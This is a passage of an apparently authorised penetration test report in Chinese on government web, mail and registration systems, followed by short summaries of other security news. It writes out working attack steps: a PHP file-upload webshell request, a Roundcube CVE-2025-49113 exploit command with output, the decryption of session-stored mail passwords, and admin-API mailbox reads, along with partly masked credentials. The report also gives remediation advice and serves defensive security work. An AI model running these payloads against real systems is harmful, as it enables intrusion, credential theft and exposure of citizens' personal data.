POST%20/client-registration%20HTTP/2
Host:%20v××l.gov.xxx
Content-Type:%20multipart/form-data
data_type=2
first_name=SecurityTest
last_name=UploadPoC
district=1
resort_id=1
phone=1234567
id_card_number=TEST-ID-0001
[email protected]
[email protected];type=image/png
上传的back_id_card内容为：
<?php echo \"PWN_TEST_\".(40+2).\"_\".substr(md5(\"voedsel\"),0,8); ?>
接口返回HTTP302与Registratie succesvol!。通过后台/admin/clients/show/4××获得落盘文件名6a××73.php。访问：
GET /assets/images/backend/client_id/6a××73.php HTTP/2
Host: v××l.gov.xxx
HTTP/2 200
Content-Type: text/html
Content-Length: 19
PWN_OK
危害分析
未认证上传后执行PHP代码，并已导出345条包含身份证号、工资等字段的客户数据。
修复建议
执行上传白名单与内容校验，禁止图片目录执行脚本，并修复后台默认口令。
5.2 V09：管理后台默认弱口令admin/12××56
| 项目 |
内容 |
| 受影响资产 |
https://v××l.gov.xxx/admin 、/admin/authenticate |
| 后台 |
PixelDesk/TKF&D Servicedesk |
| 风险等级 |
高危 |
| CWE |
CWE-1392：使用默认凭据 |
漏洞概述
系统部署后未修改默认管理员口令，公网可直接使用admin/12××56登录。登录接口无验证码、失败锁定和MFA。后台包含客户、工单、代理、用户、邮件/SMS配置、系统更新等功能。
发现过程
GET /admin HTTP/2
Host: v××l.gov.xxx
POST /admin/authenticate HTTP/2
Content-Type: application/x-www-form-urlencoded
username=admin
password=12××56
_token=<页面令牌>
HTTP/2 302
Location: https://v××l.gov.xxx/admin/dashboard
Set-Cookie: pixeldesk_session=...
后台页面返回HTTP200与207,696字节内容，标题为TKF&D Servicedesk - Dashboard。已见342+客户记录，包含身份证正反面与家庭簿图片路径；设置页显示AWS S3Key/Secret，管理员身份为演示账号d××@example.xxx。
危害分析
使用默认口令取得客户登记后台，读取342+客户记录、证件材料与AWS凭据配置。
修复建议
删除默认账号，启用MFA，轮换AWS密钥并限制后台来源。
六、s××l.gov.xxx漏洞详情
6.1 V10：Roundcube1.6.9认证后PHP对象注入RCE
| 项目 |
内容 |
| 受影响资产 |
https://s××l.gov.xxx |
| 组件 |
Roundcube1.6.9，rcversion=10609 |
| 受影响漏洞 |
CVE-2025-49113 |
| 运行环境 |
Debian12、主机w××1、Web用户www-data |
| 风险等级 |
严重 |
| CWE |
CWE-502：不可信数据反序列化 |
漏洞概述
Roundcube1.6.11之前版本在处理settings/upload的_from参数时存在对象注入问题。攻击者使用有效邮箱账号登录后，提交包含Crypt_GPG_Enginegadget链的构造对象，可在会话反序列化阶段触发任意命令执行。
测试使用已取得的s××@gov.xxx/GovS××1975登录Webmail，以时延探针确认命令执行，再写入最小Webshell。该漏洞把普通邮件账号提升为Webmail主机控制权限。
发现过程
版本确认：
GET https://s××l.gov.xxx/
响应脚本包含：\"rcversion\":10609
登录后使用CVE-2025-49113PoC执行sleep：
php poc_fearsoff/CVE-2025-49113.php \\
https://s××l.gov.xxx \\
s××@gov.xxx \\
GovS××1975 \\
\"sleep 10\"
Payload injected successfully
Executing payload...
Exploit executed successfully
对照时延：
sleep0 -> 2.47秒
sleep5 -> 7.74秒
sleep10 -> 13.33秒
时延随命令时长线性增加，排除普通网络抖动。访问https://s××l.gov.xxx/p××x.php?c=id返回：
PWN4892OK
uid=33(www-data) gid=33(www-data) groups=33(www-data)
w××1
Debian12
读取/var/www/html/[Roundcube]/config/config.inc.php，获得：
db_dsnw=pgsql://roundcube:uJfm××[email protected]/roundcube
des_key=P2JF××B8vu
default_host=ssl://e××l.gov.xxx
危害分析
以www-data执行命令，取得Webmail主机控制，并读取Roundcube数据库DSN与des_key。
修复建议
升级Roundcube，轮换数据库凭据与会话密钥，清除Webshell与持久化。
6.2 V11：Roundcube会话库des\_key导致批量邮箱口令泄露
| 项目 |
内容 |
| 受影响资产 |
s××l.gov.xxx 、PostgreSQLroundcube.session表 |
| 会话规模 |
789条会话记录，12条包含IMAP用户名与口令 |
| 受影响账号 |
12个活跃@gov.xxx邮箱，首批8个已验证登录 |
| 风险等级 |
高危 |
| CWE |
CWE-312、CWE-321：敏感数据未加密与硬编码密钥 |
漏洞概述
Roundcube默认session_storage=db，会话变量中包含用户名与IMAP口令，并以des_key执行DES-EDE3-CBC可逆加密。攻击者获得des_key和数据库访问权限后，即可解密所有历史与新增活跃会话。
该问题与V10不是同一漏洞，而是配置与凭据存储缺陷造成的二次批量泄露。即使修复反序列化RCE，只要des_key和会话表仍可读，单点配置泄露仍会导致大量邮箱口令暴露。
发现过程
在前置Webshell中查询session表：
SELECT sess_id,changed,ip,vars FROM session;
共返回789行。vars为Base64编码的PHP会话串，其中12行含username+password。按照Roundcubeprogram/lib/Roundcube/rcube.php的逆运算处理：
base64_decode
→ [IV(8字节) | ciphertext]
→ openssl_decrypt(ciphertext,\"DES-EDE3-CBC\",des_key,OPENSSL_RAW_DATA,IV)
首批8个账号在s××l.gov.xxx:993IMAP登录成功，样例包括：
p××@gov.xxx INBOX557封
i×@gov.xxx INBOV1276封
v××@gov.xxx INBOX332封
轮询80秒后，session表新增4个登录会话并同样解出，包括：
s××@gov.xxx / Go××34
s××@gov.xxx / St××23
a××@gov.xxx / St××23
a××@gov.xxx / St××23
St××23对应的默认口令在多个账号复用，说明口令策略问题仍在扩散。12个邮箱涉及多个部委及司长级岗位。
危害分析
解密了12个活跃邮箱口令，其中8个完成IMAP登录，涉及多个部委和司长级邮箱。
修复建议
轮换des_key，避免可逆保存IMAP口令，强制全部邮箱用户重置口令。
6.3 V12：内部邮件明文传递员工邮箱口令
| 项目 |
内容 |
| 泄露来源 |
s××@gov.xxx 邮箱，UID5206 |
| 邮件时间 |
2024-04-09 |
| 发件人 |
支持人员 |
| 受影响账号 |
k××@gov.xxx |
| 风险等级 |
中危 |
| CWE |
CWE-522：凭据保护不足 |
漏洞概述
支持邮箱存档中的工单邮件以明文传递员工邮箱新口令，且口令未强制首次登录修改。该邮件长期保存在共享支持邮箱中，任何能读取该邮箱的人都可以获得真实凭据。
发现过程
邮件主题为RE: Aanvraag email adressen，正文包含：
Deze medewerker heeft problemen met het inloggen.
Graag resetten en haar voorzien van een nieuw wachtwoord.
k××@gov.xxx KLXT××QRK
使用k××@gov.xxx/KLXT××QRK在s××l.gov.xxx:993登录成功：
('OK',[b'Logged in'])
SELECT INBOX -> 3封
该口令在其他系统中未验证成功，但该分发方式表明账号口令存在跨系统复用风险。
危害分析
使用邮件中的明文口令实际登录员工邮箱并读取3封邮件，密码分发链路已被完全穿透。
修复建议
重置员工口令，禁止邮件传递密码，启用首次登录改密和MFA。
七、s××1（邮件存储主机）漏洞详情
7.1 V13：doveadm HTTP API静态凭据导致任意邮箱邮件读取
| 项目 |
内容 |
| 受影响资产 |
邮件存储主机s××1，10.x.x.16:8080/doveadm/v1 |
| 凭据 |
doveadm:k4nA××Epg |
| 影响范围 |
约1,931个活跃邮箱 |
| 风险等级 |
高危 |
| CWE |
CWE-798、CWE-306：硬编码凭据与缺少认证 |
漏洞概述
存储服务器的DovecotdoveadmHTTP API使用静态Basic凭据。该口令可在e-admin配置中获取，并通过已控w××1的www-datashell横向访问内网存储层。
接口以邮件管理员身份工作，可绕过邮箱口令直接读取任意存在的邮箱。接口同时具备messageDelete、expunge、move、mailboxDelete和sievePut等写入或破坏能力；测试仅使用quotaGet、mailboxList与fetch，未使用写入操作。
发现过程
配额查询：
POST /doveadm/v1 HTTP/1.1
Host: 10.x.x.16:8080
Authorization: Basic <base64(doveadm:k4nA××Epg)>
Content-Type: application/json
[[\"quotaGet\",{\"user\":\"s××@gov.xxx\"},\"t\"]]
[[\"doveadmResponse\",[{
\"root\":\"User quota\",
\"type\":\"STORAGE\",
\"value\":\"4096216\",
\"limit\":\"4096000\",
\"percent\":\"100\"
}],\"t\"]]
文件夹枚举：
[[\"mailboxList\",{\"user\":\"r××@gov.xxx\"},\"t2\"]]
返回Archive、Trash、Sent、Spam、Drafts与INBOX。i××@gov.xxx可列出10个文件夹。
邮件读取：
[[\"fetch\",{
\"user\":\"r××@gov.xxx\",
\"field\":[\"uid\",\"date.received\",\"hdr.from\",\"hdr.subject\"],
\"query\":[\"mailbox\",\"INBOX\",\"SINCE\",\"2026-10-01\"]
},\"tA\"]]
返回19封邮件，UID954至972。样例主题包括：
[Ticket ID: TTRP01Y1WX] Email aanvraag
[Ticket ID: XBW3BAIS0Z] Aanmaak Subdomein a××y.gov.xxx tbv e-mail hosting
同凭据访问10.x.x.14:8080返回拒绝，10.x.x.16:8080超时，127.0.0.1:8080拒绝，说明目标接口位于可达内网且凭据有效。p××@gov.xxx与e××@gov.xxx的mailboxList返回exitCode67，表示邮箱不存在。
危害分析
使用静态管理凭据读取目标邮箱19封邮件，并确认同一接口覆盖约1,931个活跃邮箱。
修复建议
轮换doveadm凭据，改用mTLS或短期令牌，并限制管理网段访问。
八、风险统计与跨系统复盘
8.1 漏洞等级分布
图4
图4：漏洞等级分布。
| 资产 |
严重 |
高危 |
中危 |
合计 |
| w×w.gov.xxx |
3 |
1 |
0 |
4 |
| s××t.gov.xxx |
1 |
1 |
1 |
3 |
| v××l.gov.xxx |
1 |
1 |
0 |
2 |
| s××l.gov.xxx |
1 |
1 |
1 |
3 |
| s××1（邮件存储主机） |
0 |
1 |
0 |
1 |
| 合计 |
6 |
5 |
2 |
13 |
图5
图5：13项确认漏洞造成的实际控制深度。
8.2 身份与凭据信任链
图6
图6：邮箱、管理面、存储层与门户账号之间的信任耦合。
8.3 关键风险认知
凭据复用把应用边界扩大为组织边界。支持门户数据库、邮件账号、Roundcube会话、邮件管理API与doveadm凭据构成连续信任链，任意一层被读取都会扩大邮件影响范围。
上传校验必须以最终落盘结果为准。LFM尾点绕过与voedsel任意上传最终都转化为真实代码执行，说明WAF和随机文件名无法替代不可执行目录与最终文件名白名单。
本次评估只保留已验证取得权限或读取真实数据的漏洞。仅暴露版本、路径、目录、用户名或理论攻击面的条目不再计入确认漏洞。
九、关键凭据与数据暴露
9.1 已确认凭据
| 类别 |
凭据或标识 |
关联资产 |
影响 |
| WordPress重置密钥 |
D9gu××UILT |
gov.xxx |
接管portal-admin管理员账号 |
| WordPress管理员口令 |
portal-admin/Pz7k××!Hs |
gov.xxx |
进入后台 |
| WordPress数据库 |
govs××er24/HCLw××E9EB |
govs××24 |
全站数据库访问 |
| WordPress认证密钥 |
AUTH/SALT全部明文 |
gov.xxx |
会话与Cookie信任受损 |
| 备份认证密钥 |
DUPLICATOR_AUTH_KEY=07ff××056a |
gov.xxx |
备份接口信任受损 |
| 支持邮箱 |
s××@gov.xxx/GovS××1975 |
s××l.gov.xxx |
读取49,976封邮件 |
| 员工邮箱 |
k××@gov.xxx/KLXT××QRK |
s××l.gov.xxx |
员工邮箱接管 |
| Roundcube数据库 |
roundcube/uJfm××CSH |
10.x.x.17/roundcube |
读取会话库 |
| Roundcube会话密钥 |
des_key=P2JF××B8vu |
roundcube.session |
解密IMAP口令 |
| 邮件管理Bearer |
cIRX××u1y |
e××n.gov.xxx |
建箱与改转发 |
| Dovecot管理API |
doveadm:k4nA××Epg |
10.x.x.16:8080 |
任意邮箱读取与操作 |
| 客户登记后台 |
admin/12××56 |
v××l.gov.xxx |
公民数据后台 |
9.2 数据暴露规模
| 数据类别 |
观测规模 |
主要风险 |
| WordPress用户 |
77个用户；后台显示43个Administrator角色账号 |
账号接管、钓鱼、撞库 |
| 支持邮箱邮件 |
49,976封 |
内部通信、工单、员工信息、系统凭据 |
| Roundcube会话 |
789行；12条含IMAP口令 |
12个活跃邮箱可解密 |
| 邮件存储活跃邮箱 |
约1,931个 |
管理员级读取与Sieve植入 |
| 客户登记数据 |
342+客户记录、345条敏感导出 |
身份证、家庭簿、工资与联系方式 |
9.3 不应被忽略的间接数据
管理员邮箱和人员姓名可用于钓鱼；邮件主题和工单编号可暴露业务流程、子域创建请求和内部组织结构。数据泄露处置不能只统计记录条数，还要覆盖身份、通信和系统配置。
十、修复路线
10.1 优先级路线
图7
图7：修复优先级与治理路线。
10.2 P0：立即处置
1.隔离或下线e-admin管理面与doveadmHTTP API。 2.删除全部Webshell、恶意插件、异常计划任务、Sieve规则和未授权SSH密钥。 3.轮换WordPress数据库、管理员、AUTH/SALT、备份密钥、邮件账号、Roundcube数据库与des_key、doveadm及客户登记数据库凭据。 4.冻结或重置全部高权限账号，吊销现有会话与令牌。 5.保留内存、磁盘、应用日志、邮件日志和数据库审计记录，避免仅重启或重装导致关键日志丢失。
10.3 P1：紧急修复
1.修复JetSearchSQL注入、LaravelFileManager上传绕过、voedsel任意文件上传与Roundcube反序列化漏洞。 2.修改voedsel默认管理员口令，删除演示账号和演示数据。 3.为s××t.gov.xxx注册增加邮箱验证，限制普通账号的文件管理权限。 4.限制e-admin与存储接口来源，启用服务间签名与审计。 5.强制清理默认口令、复用口令和可逆存储的邮箱口令。
10.4 P2：结构加固
1.上传目录使用不可执行存储，文件按真实类型重编码并按最终文件名白名单校验。 2.数据库按应用、表和操作拆分账号，禁用FILE、跨库与高权限DDL/DCL。 3.后台启用MFA、失败锁定、验证码、IP限制和异常会话检测。 4.邮件系统启用异常登录、地理与设备风控，禁止默认口令和跨系统复用。 5.对高价值密钥使用HSM、KMS或集中SecretStore，并建立轮换与吊销流程。
10.5 P3：长效机制
1.建立公网资产、子域、管理端口、证书与第三方组件的持续发现清单。 2.在CI/CD中加入敏感目录、密钥、危险路由、依赖版本和文件上传规则检查。 3.建立应用账号、邮箱、系统账号与SSH密钥的关联关系图谱，定期检测异常复用。 4.将安全日志统一接入SIEM，建立从规则命中到自动隔离的响应闭环。 5.对历史遗留系统和共享主机执行专项下线与隔离，避免“已不可用但未删除”的资产继续存在。
十一、结论与治理启示
本次评估确认的13项漏洞最终收敛为三条完整攻击链：门户后台到主机控制、支持门户到邮件体系、客户登记系统到公民数据。它们并非依靠罕见漏洞完成突破，而是由开放注册、上传绕过、默认口令、可逆会话密钥与跨系统凭据复用逐步拼接而成。这种攻击形态说明，真实环境下决定风险上限的往往不是单个漏洞的技术复杂度，而是身份和权限能否沿着业务边界持续传递。
图8
图8：从单点修复转向身份、凭据与执行面的治理闭环。
第一条链揭示了内容管理系统与主机控制面的耦合。WordPress管理员账号被接管后，插件安装能力直接将内容管理权限转换为服务器命令执行，数据库凭据、认证密钥与用户数据随后同时暴露。门户后台本应是内容治理入口，却因为高权限账号、邮件恢复流程和Web目录执行权限缺少隔离，最终演变为整站与主机控制点。
第二条链体现了邮件体系的放大效应。支持门户数据库中的明文邮件凭据打开了约五万封内部邮件的访问面，Roundcube反序列化漏洞又将单一邮箱权限提升为主机权限，des_key和会话数据库则进一步把主机配置泄露转化为批量邮箱口令泄露。邮件系统因此不再只是独立通信设施，而成为身份验证、密码恢复和跨系统权限扩散的核心枢纽。
第三条链说明文件上传与默认配置仍然是最直接的控制入口。支持门户的尾点上传绕过、客户登记系统的未认证任意文件上传以及PixelDesk默认后台，分别以普通账号、无账号和默认口令作为起点，最终抵达服务器执行、客户证件、工资信息与云存储配置。低门槛入口与高价值数据直接相连，是本次风险扩散速度较快的关键原因。
从治理角度看，修复不宜只围绕单个漏洞名称展开。更有效的顺序是先切断可复用的身份与凭据，再收回管理面和上传目录的执行能力，最后补齐认证强度、审计、轮换与最小权限。复测也应验证旧凭据、旧会话、旧Webshell和旧管理入口是否真正失效，而不能仅以某个Payload被WAF拦截作为整改完成标准。只有当账号、邮件、应用与主机之间的信任关系被重新划清，三条攻击链才会在结构上失去继续闭合的条件。
版权声明
本站仅做备份收录，仅供研究与教学参考之用。
读者将信息用于其他用途的，全部法律及连带责任由读者自行承担，本站不承担任何责任。
网络安全文章
本文档记录某国政府主站及关联系统的授权渗透测试，发现13项漏洞，其中严重6项、高危5项、中危2项，取得WordPress主站、支持门户、客户登记系统及RoundcubeWebmail等四处代码执行权限，影响77个WordPress用户、345条客户记录、49,976封邮件等数据。核心风险在于应用、身份、邮件与主机权限间缺乏必要隔离，建议加强系统间权限隔离与凭据管理。
10-300
网络安全文章
本期周报涵盖多个热点安全事件:PHP双零日漏洞被利用可致未授权远程代码执行;LiteLLM发布流水线被控致恶意包混入PyPI供应链;新型UEFI引导件BlackX复刻BlackLotus绕过安全启动;恶意agents.md文件可劫持AI编程智能体;Apple修复CoreGraphics零日漏洞;Lazarus滥用韩国安全软件投放后量子加密载荷;HPEArubaOSSQL注入等。数据安全方面多起勒索与泄露事件。监管动态包括公安部公布净网典型案例及84款应用违规通报。
10-300
网络安全文章
本文报道思科SD-WAN严重0Day漏洞CVE-2026-20127被国家背景黑客组织UAT-11473利用，该漏洞CVSS评分10.0，无需认证即可远程接管控制器。攻击者部署KeyDrift恶意软件框架，包含PolyFlame后门和LittleFilch密钥窃取模块，目标涉及航天和国防机构。思科已于2026年2月修复漏洞，建议企业确认补丁版本并检查入侵指标。
10-300
网络安全文章
EDKII存在潜伏16年的高危漏洞CVE-2026-97631，位于PXE网络启动代码中，缓冲区溢出可致启动挂起或代码执行，影响几乎所有UEFI固件。修复代码已合入主线但尚无稳定版本，建议禁用PXE功能并监控网络流量。
10-300
评论